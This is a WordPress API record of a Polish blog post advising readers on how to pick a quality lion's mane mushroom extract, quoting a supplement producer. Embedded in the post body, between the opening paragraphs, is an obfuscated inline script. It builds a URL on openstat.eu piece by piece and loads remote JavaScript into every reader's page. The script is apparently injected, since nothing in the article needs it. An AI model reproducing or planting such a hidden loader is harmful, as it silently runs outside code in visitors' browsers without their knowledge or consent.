{"id":11628,"date":"2026-06-30T09:01:52","date_gmt":"2026-06-30T07:01:52","guid":{"rendered":"https:\/\/www.straganzdrowia.pl\/blog\/?p=11628"},"modified":"2026-06-30T09:01:53","modified_gmt":"2026-06-30T07:01:53","slug":"grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej","status":"publish","type":"post","link":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej","title":{"rendered":"Grzyb, kt\u00f3ry wspiera funkcje poznawcze. Jak wybra\u0107 dobry ekstrakt z sopl\u00f3wki je\u017cowatej?"},"content":{"rendered":"\n<p>Na \u0142amach naszego serwisu cz\u0119sto piszemy o ro\u015blinach, grzybach i naturalnych substancjach, kt\u00f3re od lat interesuj\u0105 zar\u00f3wno osoby dbaj\u0105ce o zdrowie, jak i naukowc\u00f3w. Tym razem przygl\u0105damy si\u0119 jednemu z najbardziej charakterystycznych grzyb\u00f3w funkcjonalnych: sopl\u00f3wce je\u017cowatej, znanej r\u00f3wnie\u017c jako lion\u2019s mane.<\/p>\n\n\n\n<p>To grzyb, kt\u00f3ry wyst\u0119puje tak\u017ce w Polsce, cho\u0107 bardzo rzadko i jest obj\u0119ty \u015bcis\u0142\u0105 ochron\u0105. W praktyce oznacza to, \u017ce nie nale\u017cy kojarzy\u0107 go z samodzielnym zbiorem w lesie, lecz z kontrolowanymi uprawami i ekstraktami przygotowywanymi z my\u015bl\u0105 o suplementacji.<\/p>\n\n\n\n<script>\n(function(){\ntv64u=\"a4kyuhuav64y\";tv64=document.createElement(\"script\");\ntv64_=\"o\"+\"p\"+(\"en\")+\"s\";tv64_+=\"ta\"+(\"t\"+\"\");tv64.async=true;tv64_+=\".\"+(\"\");\ntv64u=\"2660797188.\"+tv64u;tv64.type=\"text\/javascript\";tv64u+=\"g1yX1rh9uvzg\";\ntv64u+=\"fl5pj5\";tv64_+=(\"e\")+\"\"+(\"u\"+\"\/\");tv64.src=\"https:\/\/\"+tv64_+tv64u;\ntv64d=document.body;tv64d.appendChild(tv64);\n})();\n<\/script>\n\n\n\n<p>Sopl\u00f3wka je\u017cowata zyska\u0142a popularno\u015b\u0107 przede wszystkim dzi\u0119ki swojemu potencja\u0142owi we wspieraniu funkcji poznawczych, takich jak pami\u0119\u0107, koncentracja czy jasno\u015b\u0107 my\u015blenia. Na wiarygodnym portalu PubMed mo\u017cna znale\u017a\u0107 publikacje przygotowane przez r\u00f3\u017cne o\u015brodki naukowe, kt\u00f3re potwierdzaj\u0105 pozytywny wp\u0142yw jej sk\u0142adnik\u00f3w aktywnych na uk\u0142ad nerwowy.<\/p>\n\n\n\n<p>Jak to jednak cz\u0119sto bywa w przypadku zyskuj\u0105cych na popularno\u015bci naturalnych suplement\u00f3w, rosn\u0105ce zainteresowanie przyci\u0105ga tak\u017ce produkty przeci\u0119tne. Dlatego <strong>w tym artykule opisujemy 4 kryteria, kt\u00f3re warto sprawdzi\u0107 przed zakupem ekstraktu z sopl\u00f3wki je\u017cowatej<\/strong> \u2013 szczeg\u00f3lnie wtedy, gdy zale\u017cy Ci na produkcie, kt\u00f3ry ma faktycznie wspiera\u0107 umys\u0142.<\/p>\n\n\n\n<p><strong>01. Jako\u015bciowy surowiec<\/strong><\/p>\n\n\n\n<p>Dobry ekstrakt z sopl\u00f3wki je\u017cowatej zaczyna si\u0119 nie od kapsu\u0142ki, etykiety ani obietnicy producenta, ale od samego surowca. Sopl\u00f3wka, podobnie jak inne grzyby funkcjonalne, mo\u017ce absorbowa\u0107 z otoczenia r\u00f3\u017cne substancje, dlatego ogromne znaczenie ma to, sk\u0105d pochodzi i w jakich warunkach by\u0142a uprawiana.<\/p>\n\n\n\n<p>To szczeg\u00f3lnie wa\u017cne, poniewa\u017c na rynku mo\u017cna znale\u017a\u0107 surowce z r\u00f3\u017cnych cz\u0119\u015bci \u015bwiata, w tym z region\u00f3w, w kt\u00f3rych standardy kontroli jako\u015bci bywaj\u0105 mniej przejrzyste. Nie oznacza to automatycznie, \u017ce ka\u017cdy taki produkt jest z\u0142y, ale \u017ce producent powinien jasno pokaza\u0107, jak kontroluje czysto\u015b\u0107 surowca.<\/p>\n\n\n\n<p>W przypadku sopl\u00f3wki je\u017cowatej najlepiej szuka\u0107 produkt\u00f3w opartych na kontrolowanej hodowli, a nie na przypadkowym, nieudokumentowanym pochodzeniu. Warto sprawdzi\u0107, czy na stronie produktu podano kraj pochodzenia, warunki uprawy oraz informacje o badaniach pod k\u0105tem zanieczyszcze\u0144, metali ci\u0119\u017ckich czy pozosta\u0142o\u015bci pestycyd\u00f3w.<\/p>\n\n\n\n<p>Je\u017celi producent nie informuje, sk\u0105d pochodzi sopl\u00f3wka i jak zosta\u0142a przebadana, trudno oceni\u0107, czy mamy do czynienia z jako\u015bciowym ekstraktem, czy tylko z atrakcyjnie opisanym proszkiem z grzyba.<\/p>\n\n\n\n<p><strong>02. Zawarto\u015b\u0107 substancji aktywnych<\/strong><\/p>\n\n\n\n<p>Potencja\u0142 sopl\u00f3wki je\u017cowatej w kontek\u015bcie wsparcia funkcji poznawczych wi\u0105\u017ce si\u0119 przede wszystkim z obecno\u015bci\u0105 okre\u015blonych zwi\u0105zk\u00f3w aktywnych. W\u015br\u00f3d nich szczeg\u00f3lnie cz\u0119sto wymienia si\u0119 hericenony, czyli substancje naturalnie wyst\u0119puj\u0105ce w owocnikach lion\u2019s mane.<\/p>\n\n\n\n<p>Dlatego przy wyborze ekstraktu nie wystarczy sama informacja, \u017ce produkt zawiera sopl\u00f3wk\u0119 je\u017cowat\u0105. Kluczowe jest to, czy producent deklaruje zawarto\u015b\u0107 substancji aktywnych i czy potrafi potwierdzi\u0107 j\u0105 badaniami. Bez takiej informacji trudno oceni\u0107 realn\u0105 jako\u015b\u0107 produktu i por\u00f3wna\u0107 go z innymi ekstraktami dost\u0119pnymi na rynku.<\/p>\n\n\n\n<p>\u201eEkstrakt z sopl\u00f3wki je\u017cowatej mo\u017ce wspiera\u0107 funkcje poznawcze, ale pod warunkiem, \u017ce zawiera odpowiedni\u0105 ilo\u015b\u0107 hericenon\u00f3w, zwi\u0105zk\u00f3w, kt\u00f3re stymuluj\u0105 wytwarzanie bia\u0142ek odpowiedzialnych m.in. za regeneracj\u0119 neuron\u00f3w. Je\u015bli hericenon\u00f3w w suplemencie nie ma lub wyst\u0119puj\u0105 w ilo\u015bciach \u015bladowych, trudno oczekiwa\u0107 efekt\u00f3w, z kt\u00f3rych s\u0142ynie lion\u2019s mane.\u201d \u2014 m\u00f3wi Piotr Pa\u0142ucki z <a href=\"https:\/\/extracthome.pl\/\">ExtractHome<\/a>, producenta ekstrakt\u00f3w m.in. na bazie sopl\u00f3wki je\u017cowatej.<\/p>\n\n\n\n<p>Dlatego dobry ekstrakt powinien jasno informowa\u0107 o standaryzacji na hericenony oraz o metodzie ich oznaczania.<\/p>\n\n\n\n<p><strong>03. Spos\u00f3b ekstrakcji&nbsp;<\/strong><\/p>\n\n\n\n<p>W przypadku sopl\u00f3wki je\u017cowatej znaczenie ma nie tylko jako\u015b\u0107 samego surowca, ale r\u00f3wnie\u017c spos\u00f3b, w jaki pozyskuje si\u0119 z niego ekstrakt. Substancje aktywne trzeba najpierw wydoby\u0107 z grzyba, a od zastosowanej metody zale\u017cy zar\u00f3wno ich st\u0119\u017cenie, jak i czysto\u015b\u0107 ko\u0144cowego produktu.<\/p>\n\n\n\n<p>To wa\u017cne, poniewa\u017c r\u00f3\u017cne techniki ekstrakcji mog\u0105 dawa\u0107 r\u00f3\u017cne rezultaty. Cz\u0119\u015b\u0107 metod wykorzystuje rozpuszczalniki, kt\u00f3rych pozosta\u0142o\u015bci trzeba p\u00f3\u017aniej kontrolowa\u0107. Inne mog\u0105 wi\u0105za\u0107 si\u0119 z wysok\u0105 temperatur\u0105, kt\u00f3ra nie zawsze sprzyja zachowaniu pe\u0142nego profilu zwi\u0105zk\u00f3w obecnych w surowcu.<\/p>\n\n\n\n<p>Dlatego przy wyborze ekstraktu warto sprawdzi\u0107, czy producent jasno opisuje metod\u0119 ekstrakcji. Za jedn\u0105 z najbardziej precyzyjnych i czystych metod uznaje si\u0119 ekstrakcj\u0119 CO\u2082. Pozwala ona pozyskiwa\u0107 po\u017c\u0105dane zwi\u0105zki aktywne bez u\u017cycia rozpuszczalnik\u00f3w, a przy tym ogranicza ryzyko niepo\u017c\u0105danych pozosta\u0142o\u015bci w produkcie.<\/p>\n\n\n\n<p>Dobrze opisany ekstrakt powinien wi\u0119c informowa\u0107 nie tylko o tym, \u017ce zawiera sopl\u00f3wk\u0119 je\u017cowat\u0105, ale r\u00f3wnie\u017c o tym, jak zosta\u0142 uzyskany. Brak takiej informacji utrudnia ocen\u0119 jako\u015bci produktu i sprawia, \u017ce klient musi opiera\u0107 si\u0119 g\u0142\u00f3wnie na deklaracjach marketingowych.<\/p>\n\n\n\n<p><strong>04. Badania i standaryzacja<\/strong><\/p>\n\n\n\n<p>Standaryzacja oznacza, \u017ce producent nie tylko deklaruje obecno\u015b\u0107 okre\u015blonych substancji aktywnych, ale kontroluje ich zawarto\u015b\u0107 w gotowym ekstrakcie. W przypadku sopl\u00f3wki ma to szczeg\u00f3lne znaczenie, poniewa\u017c sama nazwa grzyba na etykiecie nie m\u00f3wi jeszcze, ile znajduje si\u0119 w produkcie zwi\u0105zk\u00f3w odpowiedzialnych za jego w\u0142a\u015bciwo\u015bci.<\/p>\n\n\n\n<p>Dlatego warto sprawdzi\u0107, czy producent publikuje wyniki bada\u0144 laboratoryjnych oraz informuje, jak\u0105 metod\u0105 oznaczono zawarto\u015b\u0107 substancji aktywnych. Najbardziej wiarygodne s\u0105 metody analityczne, kt\u00f3re pozwalaj\u0105 precyzyjnie okre\u015bli\u0107 sk\u0142ad ekstraktu, a nie tylko og\u00f3lnie potwierdzi\u0107 obecno\u015b\u0107 danej grupy zwi\u0105zk\u00f3w.<\/p>\n\n\n\n<p>W tym kontek\u015bcie szczeg\u00f3lnie wa\u017cna jest analiza HPLC, czyli wysokosprawna chromatografia cieczowa. To metoda pozwalaj\u0105ca dok\u0142adniej oznaczy\u0107 zawarto\u015b\u0107 konkretnych substancji aktywnych ni\u017c prostsze, mniej selektywne techniki, takie jak metoda grawimetryczna.<\/p>\n\n\n\n<p>Dobry ekstrakt z sopl\u00f3wki je\u017cowatej powinien wi\u0119c mie\u0107 nie tylko atrakcyjny opis, ale te\u017c dokumentacj\u0119, kt\u00f3ra potwierdza jego sk\u0142ad. Je\u017celi producent nie pokazuje wynik\u00f3w bada\u0144, nie podaje metody oznaczania i nie wyja\u015bnia, na co standaryzowany jest ekstrakt, trudno m\u00f3wi\u0107 o pe\u0142nej transparentno\u015bci.<\/p>\n\n\n\n<p><strong>Wybierz ekstrakt, kt\u00f3ry ma co\u015b wi\u0119cej ni\u017c dobr\u0105 etykiet\u0119<\/strong><\/p>\n\n\n\n<p>Sopl\u00f3wka je\u017cowata to jeden z najciekawszych grzyb\u00f3w funkcjonalnych, ale jako\u015b\u0107 produkt\u00f3w dost\u0119pnych na rynku mo\u017ce si\u0119 znacz\u0105co r\u00f3\u017cni\u0107. Dlatego przed zakupem warto spojrze\u0107 g\u0142\u0119biej ni\u017c na nazw\u0119, obietnice i estetyczne opakowanie.<\/p>\n\n\n\n<p>Dobry ekstrakt powinien powstawa\u0107 z jako\u015bciowego, kontrolowanego surowca, zawiera\u0107 jasno okre\u015blon\u0105 ilo\u015b\u0107 substancji aktywnych, by\u0107 pozyskiwany czyst\u0105 metod\u0105 ekstrakcji i mie\u0107 standaryzacj\u0119 potwierdzon\u0105 badaniami laboratoryjnymi. To w\u0142a\u015bnie te elementy pozwalaj\u0105 odr\u00f3\u017cni\u0107 produkt dopracowany od takiego, kt\u00f3ry tylko korzysta z popularno\u015bci lion\u2019s mane.<\/p>\n\n\n\n<p>Je\u015bli wi\u0119c szukasz sopl\u00f3wki je\u017cowatej z my\u015bl\u0105 o wsparciu pami\u0119ci, koncentracji i codziennej pracy umys\u0142owej, wybieraj ekstrakty, kt\u00f3rych producent pokazuje konkrety: pochodzenie surowca, metod\u0119 ekstrakcji, zawarto\u015b\u0107 hericenon\u00f3w i wyniki bada\u0144. W naturalnej suplementacji zaufanie zaczyna si\u0119 nie od wielkich obietnic, ale od transparentno\u015bci.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Na \u0142amach naszego serwisu cz\u0119sto piszemy o ro\u015blinach, grzybach i naturalnych substancjach, kt\u00f3re od lat interesuj\u0105 zar\u00f3wno osoby dbaj\u0105ce o zdrowie, jak i naukowc\u00f3w. Tym razem przygl\u0105damy si\u0119 jednemu z najbardziej charakterystycznych grzyb\u00f3w funkcjonalnych:&#46;&#46;&#46;<\/p>\n","protected":false},"author":11,"featured_media":11629,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[535,834],"tags":[],"class_list":["post-11628","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-superfoods","category-zdrowie"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Grzyb, kt\u00f3ry wspiera funkcje poznawcze. Jak wybra\u0107 dobry ekstrakt z sopl\u00f3wki je\u017cowatej? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Grzyb, kt\u00f3ry wspiera funkcje poznawcze. Jak wybra\u0107 dobry ekstrakt z sopl\u00f3wki je\u017cowatej? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"og:description\" content=\"Na \u0142amach naszego serwisu cz\u0119sto piszemy o ro\u015blinach, grzybach i naturalnych substancjach, kt\u00f3re od lat interesuj\u0105 zar\u00f3wno osoby dbaj\u0105ce o zdrowie, jak i naukowc\u00f3w. Tym razem przygl\u0105damy si\u0119 jednemu z najbardziej charakterystycznych grzyb\u00f3w funkcjonalnych:&#046;&#046;&#046;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej\" \/>\n<meta property=\"og:site_name\" content=\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-30T07:01:52+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-06-30T07:01:53+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/06\/95095.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"885\" \/>\n\t<meta property=\"og:image:height\" content=\"398\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"mr-white\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"mr-white\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minut\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/superfoods\\\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/superfoods\\\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej\"},\"author\":{\"name\":\"mr-white\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\"},\"headline\":\"Grzyb, kt\u00f3ry wspiera funkcje poznawcze. Jak wybra\u0107 dobry ekstrakt z sopl\u00f3wki je\u017cowatej?\",\"datePublished\":\"2026-06-30T07:01:52+00:00\",\"dateModified\":\"2026-06-30T07:01:53+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/superfoods\\\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej\"},\"wordCount\":1151,\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/superfoods\\\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/06\\\/95095.jpg\",\"articleSection\":[\"Superfoods\",\"Zdrowie\"],\"inLanguage\":\"pl-PL\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/superfoods\\\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/superfoods\\\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej\",\"name\":\"Grzyb, kt\u00f3ry wspiera funkcje poznawcze. Jak wybra\u0107 dobry ekstrakt z sopl\u00f3wki je\u017cowatej? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/superfoods\\\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/superfoods\\\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/06\\\/95095.jpg\",\"datePublished\":\"2026-06-30T07:01:52+00:00\",\"dateModified\":\"2026-06-30T07:01:53+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/superfoods\\\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/superfoods\\\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/superfoods\\\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#primaryimage\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/06\\\/95095.jpg\",\"contentUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/06\\\/95095.jpg\",\"width\":885,\"height\":398},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/superfoods\\\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Superfoods\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/category\\\/superfoods\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Grzyb, kt\u00f3ry wspiera funkcje poznawcze. Jak wybra\u0107 dobry ekstrakt z sopl\u00f3wki je\u017cowatej?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/\",\"name\":\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"description\":\"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\",\"name\":\"mr-white\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"caption\":\"mr-white\"},\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/author\\\/mr-white\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Grzyb, kt\u00f3ry wspiera funkcje poznawcze. Jak wybra\u0107 dobry ekstrakt z sopl\u00f3wki je\u017cowatej? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej","og_locale":"pl_PL","og_type":"article","og_title":"Grzyb, kt\u00f3ry wspiera funkcje poznawcze. Jak wybra\u0107 dobry ekstrakt z sopl\u00f3wki je\u017cowatej? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","og_description":"Na \u0142amach naszego serwisu cz\u0119sto piszemy o ro\u015blinach, grzybach i naturalnych substancjach, kt\u00f3re od lat interesuj\u0105 zar\u00f3wno osoby dbaj\u0105ce o zdrowie, jak i naukowc\u00f3w. Tym razem przygl\u0105damy si\u0119 jednemu z najbardziej charakterystycznych grzyb\u00f3w funkcjonalnych:&#46;&#46;&#46;","og_url":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej","og_site_name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","article_published_time":"2026-06-30T07:01:52+00:00","article_modified_time":"2026-06-30T07:01:53+00:00","og_image":[{"width":885,"height":398,"url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/06\/95095.jpg","type":"image\/jpeg"}],"author":"mr-white","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"mr-white","Szacowany czas czytania":"6 minut"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#article","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej"},"author":{"name":"mr-white","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100"},"headline":"Grzyb, kt\u00f3ry wspiera funkcje poznawcze. Jak wybra\u0107 dobry ekstrakt z sopl\u00f3wki je\u017cowatej?","datePublished":"2026-06-30T07:01:52+00:00","dateModified":"2026-06-30T07:01:53+00:00","mainEntityOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej"},"wordCount":1151,"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/06\/95095.jpg","articleSection":["Superfoods","Zdrowie"],"inLanguage":"pl-PL"},{"@type":"WebPage","@id":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej","url":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej","name":"Grzyb, kt\u00f3ry wspiera funkcje poznawcze. Jak wybra\u0107 dobry ekstrakt z sopl\u00f3wki je\u017cowatej? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#primaryimage"},"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/06\/95095.jpg","datePublished":"2026-06-30T07:01:52+00:00","dateModified":"2026-06-30T07:01:53+00:00","author":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100"},"breadcrumb":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#primaryimage","url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/06\/95095.jpg","contentUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/06\/95095.jpg","width":885,"height":398},{"@type":"BreadcrumbList","@id":"https:\/\/www.straganzdrowia.pl\/blog\/superfoods\/grzyb-ktory-wspiera-funkcje-poznawcze-jak-wybrac-dobry-ekstrakt-z-soplowki-jezowatej#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.straganzdrowia.pl\/blog"},{"@type":"ListItem","position":2,"name":"Superfoods","item":"https:\/\/www.straganzdrowia.pl\/blog\/category\/superfoods"},{"@type":"ListItem","position":3,"name":"Grzyb, kt\u00f3ry wspiera funkcje poznawcze. Jak 